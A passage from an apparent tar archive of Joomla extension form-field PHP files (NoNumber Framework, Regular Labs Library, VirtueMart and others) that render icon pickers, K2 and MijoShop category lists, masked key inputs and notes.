nnText::prepareSelectItem($item->name, $item->published); $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } icons.php 0000644 00000006163 15232574455 0006412 0 ustar 00 <?php /** * Element: Radio Images * Displays a list of radio items and the images you can chose from * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_Icons extends JFormField { public $type = 'Icons'; private $params = null; protected function getInput() { $this->params = $this->element->attributes(); $value = !is_array($this->value) ? explode(',', $this->value) : $this->value; $classes = array( 'nonumber icon-contenttemplater', 'home', 'user', 'locked', 'comments', 'comments-2', 'out', 'plus', 'pencil', 'pencil-2', 'file', 'file-add', 'file-remove', 'copy', 'folder', 'folder-2', 'picture', 'pictures', 'list-view', 'power-cord', 'cube', 'puzzle', 'flag', 'tools', 'cogs', 'cog', 'equalizer', 'wrench', 'brush', 'eye', 'star', 'calendar', 'calendar-2', 'help', 'support', 'warning', 'checkmark', 'mail', 'mail-2', 'drawer', 'drawer-2', 'box-add', 'box-remove', 'search', 'filter', 'camera', 'play', 'music', 'grid-view', 'grid-view-2', 'menu', 'thumbs-up', 'thumbs-down', 'plus-2', 'minus-2', 'key', 'quote', 'quote-2', 'database', 'location', 'zoom-in', 'zoom-out', 'health', 'wand', 'refresh', 'vcard', 'clock', 'compass', 'address', 'feed', 'flag-2', 'pin', 'lamp', 'chart', 'bars', 'pie', 'dashboard', 'lightning', 'move', 'printer', 'color-palette', 'camera-2', 'cart', 'basket', 'broadcast', 'screen', 'tablet', 'mobile', 'users', 'briefcase', 'download', 'upload', 'bookmark', 'out-2' ); $html = array(); if ($this->get('show_none')) { $checked = (in_array('0', $value) ? ' checked="checked"' : ''); $html[] = '<fieldset>'; $html[] = '<input type="radio" id="' . $this->id . '0" name="' . $this->name . '"' . ' value="0"' . $checked . '/>'; $html[] = '<label for="' . $this->id . '0">' . JText::_('NN_NO_ICON') . '</label>'; $html[] = '</fieldset>'; } foreach ($classes as $i => $class) { $checked = (in_array($class, $value) ? ' checked="checked"' : ''); $html[] = '<fieldset class="pull-left">'; $html[] = '<input type="radio" id="' . $this->id . $class . '" name="' . $this->name . '"' . ' value="' . htmlspecialchars($class, ENT_COMPAT, 'UTF-8') . '"' . $checked . '/>'; $html[] = '<label for="' . $this->id . $class . '" class="btn btn-small"><span class="icon-' . $class . '"></span></label>'; $html[] = '</fieldset>'; } return '<div id="' . $this->id . '" class="btn-group radio nn_icon_group">' . implode('', $html) . '</div>'; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } isinstalled.php 0000644 00000002055 15232574455 0007606 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use RegularLabs\Library\Extension as RL_Extension; use RegularLabs\Library\Field; jimport('joomla.form.formfield'); if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_IsInstalled extends Field { public $type = 'IsInstalled'; protected function getInput() { $is_installed = RL_Extension::isInstalled($this->get('extension'), $this->get('extension_type'), $this->get('folder')); return '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . (int) $is_installed . '">'; } protected function getLabel() { return ''; } } k2.php 0000644 00000012167 15232574455 0005614 0 ustar 00 <?php /** * Element: K2 * Displays a multiselectbox of available K2 categories / tags / items * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_K2 extends JFormField { public $type = 'K2'; private $db = null; private $max_list_count = 0; private $params = null; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('k2')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_K2')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'k2_' . $group, $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_K2')) . '</fieldset>'; } $parameters = nnParameters::getInstance(); $params = $parameters->getPluginParams('nnframework'); $this->max_list_count = $params->max_list_count; if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; switch ($group) { case 'categories': return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); default: return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, $multiple); } } function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__k2_categories AS c') ->where('c.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $get_categories = $this->get('getcategories', 1); $show_ignore = $this->get('show_ignore'); $query->clear() ->select('c.id, c.parent AS parent_id, c.name AS title, c.published') ->from('#__k2_categories AS c') ->where('c.published > -1'); if (!$get_categories) { $query->where('c.parent = 0'); } $query->order('c.ordering, c.name'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); // establish the hierarchy of the menu // TODO: use node model $children = array(); if ($items) { // first pass - collect children foreach ($items as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } } // second pass - get an indent list of the items $list = JHtml::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0); // assemble items to the array $options = array(); if ($show_ignore) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('NN_IGNORE') . ' -', 'value', 'text', 0); $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } foreach ($list as $item) { $item->treename = nnText::prepareSelectItem($item->treename, $item->published, '', 1); $options[] = JHtml::_('select.option', $item->id, $item->treename, 'value', 'text', 0); } return $options; } function getTags() { $query = $this->db->getQuery(true) ->select('t.name') ->from('#__k2_tags AS t') ->where('t.published = 1') ->order('t.name'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $options[] = JHtml::_('select.option', $item->name, $item->name, 'value', 'text', 0); } return $options; } function getItems() { $query = $this->db->getQuery(true) ->select('i.id, i.title as name, c.name as cat, i.published') ->from('#__k2_items AS i') ->join('LEFT', '#__k2_categories AS c ON c.id = i.catid') ->where('i.published > -1') ->order('i.title, i.ordering, i.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $item->name = $item->name . ' [' . $item->id . ']' . ($item->cat ? ' [' . $item->cat . ']' : ''); $item->name = nnText::prepareSelectItem($item->name, $item->published); $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } key.php 0000644 00000004410 15232574455 0006060 0 ustar 00 <?php /** * Element: Key * Displays a protected key field with option to update it * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_Key extends JFormField { public $type = 'Key'; protected function getInput() { $key = $this->value; if (!$key) { return '<input type="text" class="nn_codefield" name="' . $this->name . '" id="' . $this->id . '" autocomplete="off" value="" />'; } $cloak_length = max(0, strlen($key) - 4); $key = str_repeat('*', $cloak_length) . substr($this->value, $cloak_length); $show = 'jQuery(\'#' . $this->id . '\').attr(\'name\', \'' . $this->name . '\');' . 'jQuery(\'#' . $this->id . '_hidden\').attr(\'name\', \'\');' . 'jQuery(\'#' . $this->id . '_button\').hide();' . 'jQuery(\'#' . $this->id . '_field\').show();'; $hide = 'jQuery(\'#' . $this->id . '\').attr(\'name\', \'\');' . 'jQuery(\'#' . $this->id . '_hidden\').attr(\'name\', \'' . $this->name . '\');' . 'jQuery(\'#' . $this->id . '_field\').hide();' . 'jQuery(\'#' . $this->id . '_button\').show();'; return '<div class="nn_keycode pull-left">' . $key . '</div>' . '<div id="' . $this->id . '_button" class="pull-left">' . '<button class="btn btn-default btn-small" onclick="' . $show . ';return false;">' . '<span class="icon-edit"></span> ' . JText::_('JACTION_EDIT') . '</button>' . '</div>' . '<div class="clearfix"></div>' . '<div id="' . $this->id . '_field" class="btn-wrapper input-append clearfix" style="display:none;">' . '<input type="text" class="nn_codefield" name="" id="' . $this->id . '" autocomplete="off" value="" />' . '<button href="#" class="btn btn-danger btn" title="' . JText::_('JCANCEL') . '" onclick="' . $hide . ';return false;">' . '<span class="icon-cancel-2"></span>' . '</button>' . '</div>' . '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '_hidden" value="' . $this->value . '" />'; } } languages.php 0000644 00000003250 15232574455 0007237 0 ustar 00 <?php defined('_JEXEC') or die(); /** * * @package VirtueMart * @subpackage Plugins - Elements * @author Valérie Isaksen * @version $Id: languages.php 8229 2014-08-23 16:56:12Z alatak $ * @link https://virtuemart.net * @copyright Copyright (c) 2004 - April 26 2022 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ if (!class_exists('VmConfig')) { require(VMPATH_ROOT . DS . 'administrator' . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'config.php'); } if (!class_exists('ShopFunctions')) { require(VMPATH_ADMIN . DS . 'helpers' . DS . 'shopfunctions.php'); } if (!class_exists('TableCategories')) { require(VMPATH_ADMIN . DS . 'tables' . DS . 'categories.php'); } if (!class_exists('VmElements')) { require(VMPATH_ADMIN . DS . 'elements' . DS . 'vmelements.php'); } jimport('joomla.form.formfield'); class JFormFieldLanguages extends JFormField { var $type = 'Languages'; protected function getInput() { $activeLangs = array(); $language = JFactory::getLanguage(); $jLangs = $language->getKnownLanguages(JPATH_BASE); foreach ($jLangs as $jLang) { $jlangTag = strtolower(strtr($jLang['tag'], '-', '_')); $activeLangs[] = JHTML::_('select.option', $jLang['tag'], $jLang['name']); } return JHTML::_('select.genericlist', $activeLangs, $this->name, 'size="1"', 'value', 'text', $this->value); } } license.php 0000644 00000002052 15232574455 0006712 0 ustar 00 <?php /** * Element: License * Displays the License state * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_License extends JFormField { public $type = 'License'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); $extension = $this->get('extension'); if (!strlen($extension)) { return ''; } require_once JPATH_PLUGINS . '/system/nnframework/helpers/licenses.php'; return '</div><div class="hide">' . nnLicenses::getInstance()->getMessage($extension); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } list.php 0000644 00000004044 15232574455 0006246 0 ustar 00 <?php /** * Element: List * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('JPATH_PLATFORM') or die; if (!class_exists('JFormFieldList')) { require_once JPATH_LIBRARIES . '/joomla/form/fields/list.php'; } class JFormFieldNN_List extends JFormFieldList { protected $type = 'List'; protected function getInput() { $html = array(); $attr = ''; $this->size = empty($this->size) ? 300 : $this->size; // Initialize some field attributes. $attr .= !empty($this->class) ? ' class="' . $this->class . '"' : ''; $attr .= ' style="width:' . $this->size . 'px"'; $attr .= $this->multiple ? ' multiple' : ''; $attr .= $this->required ? ' required aria-required="true"' : ''; $attr .= $this->autofocus ? ' autofocus' : ''; // To avoid user's confusion, readonly="true" should imply disabled="true". if ((string) $this->readonly == '1' || (string) $this->readonly == 'true' || (string) $this->disabled == '1' || (string) $this->disabled == 'true') { $attr .= ' disabled="disabled"'; } // Initialize JavaScript field attributes. $attr .= $this->onchange ? ' onchange="' . $this->onchange . '"' : ''; // Get the field options. $options = (array) $this->getOptions(); if ((string) $this->readonly == '1' || (string) $this->readonly == 'true') { // Create a read-only list (no name) with a hidden input to store the value. $html[] = JHtml::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $this->value, $this->id); $html[] = '<input type="hidden" name="' . $this->name . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"/>'; } else { // Create a regular list. $html[] = JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id); } return implode($html); } } loadlanguage.php 0000644 00000002170 15232574455 0007714 0 ustar 00 <?php /** * Element: Load Language * Loads the English language file as fallback * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_LoadLanguage extends JFormField { public $type = 'LoadLanguage'; private $params = null; protected function getLabel() { return ''; } protected function getInput() { $this->params = $this->element->attributes(); $extension = $this->get('extension'); $admin = $this->get('admin', 1); self::loadLanguage($extension, $admin); return ''; } function loadLanguage($extension, $admin = 1) { if ($extension) { JFactory::getLanguage()->load($extension, $admin ? JPATH_ADMINISTRATOR : JPATH_SITE); } } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } menuitems.php 0000644 00000006475 15232574455 0007313 0 ustar 00 <?php /** * Element: MenuItems * Display a menuitem field with a button * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_MenuItems extends JFormField { public $type = 'MenuItems'; private $params = null; protected function getInput() { $this->params = $this->element->attributes(); $size = (int) $this->get('size'); $multiple = $this->get('multiple', 0); JFactory::getLanguage()->load('com_menus', JPATH_ADMINISTRATOR); $options = $this->getMenuLinks(); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); } /** * Get a list of menu links for one or all menus. */ public static function getMenuLinks() { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id AS value, a.title AS text, a.alias, a.level, a.menutype, a.type, a.template_style_id, a.checked_out, a.language') ->from('#__menu AS a') ->join('LEFT', $db->quoteName('#__menu') . ' AS b ON a.lft > b.lft AND a.rgt < b.rgt') ->where('a.published != -2') ->group('a.id, a.title, a.level, a.menutype, a.type, a.template_style_id, a.checked_out, a.lft') ->order('a.lft ASC'); // Get the options. $db->setQuery($query); try { $links = $db->loadObjectList(); } catch (RuntimeException $e) { JError::raiseWarning(500, $e->getMessage()); return false; } // Group the items by menutype. $query->clear() ->select('*') ->from('#__menu_types') ->where('menutype <> ' . $db->quote('')) ->order('title, menutype'); $db->setQuery($query); try { $menuTypes = $db->loadObjectList(); } catch (RuntimeException $e) { JError::raiseWarning(500, $e->getMessage()); return false; } // Create a reverse lookup and aggregate the links. $rlu = array(); foreach ($menuTypes as &$type) { $type->value = 'type.' . $type->menutype; $type->text = $type->title; $type->level = 0; $type->class = 'hidechildren'; $type->labelclass = 'nav-header'; $rlu[$type->menutype] = &$type; $type->links = array(); } // Loop through the list of menu links. foreach ($links as &$link) { if (isset($rlu[$link->menutype])) { if (preg_replace('#[^a-z0-9]#', '', strtolower($link->text)) !== preg_replace('#[^a-z0-9]#', '', $link->alias)) { $link->text .= ' <small>[' . $link->alias . ']</small>'; } if ($link->language && $link->language != '*') { $link->text .= ' <small>(' . $link->language . ')</small>'; } if ($link->type == 'alias') { $link->text .= ' <small>(' . JText::_('COM_MENUS_TYPE_ALIAS') . ')</small>'; $link->disable = 1; } $rlu[$link->menutype]->links[] = &$link; // Cleanup garbage. unset($link->menutype); } } return $menuTypes; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } mijoshop.php 0000644 00000014361 15232574455 0007126 0 ustar 00 <?php /** * Element: MijoShop * Displays a multiselectbox of available MijoShop categories / products * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_MijoShop extends JFormField { public $type = 'MijoShop'; private $params = null; private $db = null; public $store_id = 0; public $language_id = 1; private $max_list_count = 0; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('mijoshop')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_MIJOSHOP')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'mijoshop_' . ($group == 'products' ? 'product' : 'category'), $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_MIJOSHOP')) . '</fieldset>'; } $parameters = nnParameters::getInstance(); $params = $parameters->getPluginParams('nnframework'); $this->max_list_count = $params->max_list_count; if (!class_exists('MijoShop')) { require_once(JPATH_ROOT . '/components/com_mijoshop/mijoshop/mijoshop.php'); } $this->store_id = (int) MijoShop::get('opencart')->get('config')->get('config_store_id'); $this->language_id = (int) MijoShop::get('opencart')->get('config')->get('config_language_id'); if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; switch ($group) { case 'categories': return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); default: return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, $multiple); } } function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__mijoshop_category AS c') ->join('INNER', '#__mijoshop_category_description AS cd ON c.category_id = cd.category_id') ->join('INNER', '#__mijoshop_category_to_store AS cts ON c.category_id = cts.category_id') ->where('c.status = 1') ->where('cd.language_id = ' . $this->language_id) ->where('cts.store_id = ' . $this->store_id); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $show_ignore = $this->get('show_ignore'); $query->clear() ->select('c.category_id AS id, c.parent_id, cd.name AS title, c.status AS published') ->from('#__mijoshop_category AS c') ->join('INNER', '#__mijoshop_category_description AS cd ON c.category_id = cd.category_id') ->join('INNER', '#__mijoshop_category_to_store AS cts ON c.category_id = cts.category_id') ->where('c.status = 1') ->where('cd.language_id = ' . $this->language_id) ->where('cts.store_id = ' . $this->store_id) ->order('c.sort_order, cd.name'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); // establish the hierarchy of the menu // TODO: use node model $children = array(); // first pass - collect children foreach ($items as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } // second pass - get an indent list of the items $list = JHtml::_('menu.treerecurse', (int) $root, '', array(), $children, 9999, 0, 0); // assemble items to the array $options = array(); if ($show_ignore) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('NN_IGNORE') . ' -', 'value', 'text', 0); $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } foreach ($list as $item) { $item->treename = nnText::prepareSelectItem($item->treename, $item->published, '', 1); $options[] = JHtml::_('select.option', $item->id, $item->treename, 'value', 'text', 0); } return $options; } function getProducts() { $query = $this->db->getQuery(true) ->select('p.product_id as id, pd.name, p.model as number, cd.name AS cat, p.status AS published') ->from('#__mijoshop_product AS p') ->join('INNER', '#__mijoshop_product_description AS pd ON p.product_id = pd.product_id') ->join('INNER', '#__mijoshop_product_to_store AS pts ON p.product_id = pts.product_id') ->join('LEFT', '#__mijoshop_product_to_category AS ptc ON p.product_id = ptc.product_id') ->join('LEFT', '#__mijoshop_category_description AS cd ON ptc.category_id = cd.category_id') ->join('LEFT', '#__mijoshop_category_to_store AS cts ON ptc.category_id = cts.category_id') ->where('p.status = 1') ->where('p.date_available <= NOW()') ->where('pd.language_id = ' . $this->language_id) ->where('cts.store_id = ' . $this->store_id) ->where('cd.language_id = ' . $this->language_id) ->where('cts.store_id = ' . $this->store_id) ->order('pd.name, p.model'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $item->name = $item->name . ' [' . $item->id . ']' . ($item->cat ? ' [' . $item->cat . ']' : ''); $item->name = nnText::prepareSelectItem($item->name, $item->published); $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } modules.php 0000644 00000003146 15232574455 0006745 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ // No direct access to this file defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; require_once JPATH_PLUGINS . '/system/nrframework/helpers/fieldlist.php'; class JFormFieldModules extends NRFormFieldList { /** * Method to get a list of options for a list input. * * @return array An array of options. */ protected function getOptions() { $db = $this->db; $query = $db->getQuery(true); $query->select('*') ->from('#__modules') ->where('published=1') ->where('access !=3') ->order('title'); $client = isset($this->element['client']) ? (int) $this->element['client'] : false; if ($client !== false) { $query->where('client_id = ' . $client); } $rows = $db->setQuery($query); $results = $db->loadObjectList(); $options = array(); if ($this->showSelect()) { $options[] = HTMLHelper::_('select.option', "", '- ' . Text::_("NR_SELECT_MODULE") . ' -'); } foreach ($results as $option) { $options[] = HTMLHelper::_('select.option', $option->id, $option->title . ' (' . $option->id . ')'); } $options = array_merge(parent::getOptions(), $options); return $options; } } note.php 0000644 00000005243 15232574455 0006242 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_Note extends Field { public $type = 'Note'; public function setup(SimpleXMLElement $element, $value, $group = null) { $this->element = $element; $element['label'] = $this->prepareText($element['label']); $element['description'] = $this->prepareText($element['description']); $element['translateDescription'] = false; return parent::setup($element, $value, $group); } protected function getInput() { return ''; } protected function getLabel() { if (empty($this->element['label']) && empty($this->element['description'])) { return ''; } $title = $this->element['label'] ? (string) $this->element['label'] : ($this->element['title'] ? (string) $this->element['title'] : ''); $heading = $this->element['heading'] ? (string) $this->element['heading'] : 'h4'; $description = (string) $this->element['description']; $class = $this->class ?? ''; $close = (string) $this->element['close']; $controls = (int) $this->element['controls']; $class = ! empty($class) ? ' class="' . $class . '"' : ''; $button = ''; $title = JText::_($title ?? ''); $description = JText::_($description ?? ''); if ($close) { $close = $close == 'true' ? 'alert' : $close; $button = '<button type="button" class="close" data-dismiss="' . $close . '" aria-label="Close">×</button>'; } if ($heading && $title) { $title = '<' . $heading . '>' . $title . '</' . $heading . '>'; } if ($controls) { $title = '<div class="control-label"><label>' . $title . '</label></div>'; $description = '<div class="controls">' . $description . '</div>'; } return '</div><div ' . $class . '>' . $button . $title . $description; } } onlypro.php 0000644 00000005301 15232574455 0006772 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use RegularLabs\Library\Extension as RL_Extension; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_OnlyPro extends Field { public $type = 'OnlyPro'; protected function getExtensionName() { $extension = $this->form->getValue('element'); if ($extension) { return $extension; } $extension = JFactory::getApplication()->input->get('component'); if ($extension) { return str_replace('com_', '', $extension); } $extension = JFactory::getApplication()->input->get('folder'); if ($extension) { $extension = explode('.', $extension); return array_pop($extension); } return false; } protected function getInput() { $label = $this->prepareText($this->get('label')); $tooltip = $this->prepareText($this->get('description')); if ( ! $label && ! $tooltip) { return ''; } return $this->getText(); } protected function getLabel() { $label = $this->prepareText($this->get('label')); $tooltip = $this->prepareText($this->get('description')); if ( ! $label && ! $tooltip) { return '</div><div>' . $this->getText(); } if ( ! $label) { return $tooltip; } if ( ! $tooltip) { return ($label == '---' ? '' : $label); } return '<label class="hasPopover" title="' . $label . '" data-content="' . htmlentities($tooltip) . '">' . $label . '</label>'; } protected function getText() { $text = JText::_('RL_ONLY_AVAILABLE_IN_PRO'); $text = '<em>' . $text . '</em>'; $extension = $this->getExtensionName(); $alias = RL_Extension::getAliasByName($extension); if ($alias) { $text = '<a href="https://regularlabs.com/' . $extension . '/features" target="_blank">' . $text . '</a>'; } $class = $this->get('class'); $class = $class ? ' class="' . $class . '"' : ''; return '<div' . $class . '>' . $text . '</div>'; } } plaintext.php 0000644 00000004264 15232574455 0007307 0 ustar 00 <?php /** * Element: PlainText * Displays plain text as element * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; /** * PlainText Element */ class JFormFieldNN_PlainText extends JFormField { public $type = 'PlainText'; private $params = null; protected function getLabel() { JHtml::stylesheet('nnframework/style.min.css', false, true); $this->params = $this->element->attributes(); $label = $this->prepareText($this->get('label')); $tooltip = $this->prepareText(trim($this->get('description'))); if (!$label && !$tooltip) { return ''; } if (!$label) { return '<div>' . $tooltip . '</div>'; } if (!$tooltip) { return '<div>' . $label . '</div>'; } return '<label class="hasTooltip" title="<strong>' . $label . '</strong><br />' . htmlentities($tooltip) . '">' . $label . '</label>'; } protected function getInput() { $this->params = $this->element->attributes(); $text = $this->prepareText(trim($this->value)); if (!$text) { return ''; } return '<fieldset class="nn_plaintext">' . $text . '</fieldset>'; } private function prepareText($string = '') { if ($string == '') { return ''; } // variables $var1 = JText::_($this->get('var1')); $var2 = JText::_($this->get('var2')); $var3 = JText::_($this->get('var3')); $var4 = JText::_($this->get('var4')); $var5 = JText::_($this->get('var5')); $string = JText::sprintf(JText::_($string), $var1, $var2, $var3, $var4, $var5); $string = trim(nnText::html_entity_decoder($string)); $string = str_replace('"', '"', $string); $string = str_replace('span style="font-family:monospace;"', 'span class="nn_code"', $string); return $string; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } range.php 0000644 00000002777 15232574455 0006402 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; JFormHelper::loadFieldClass('range'); class JFormFieldRL_Range extends JFormFieldRange { protected $layout = 'range'; protected function 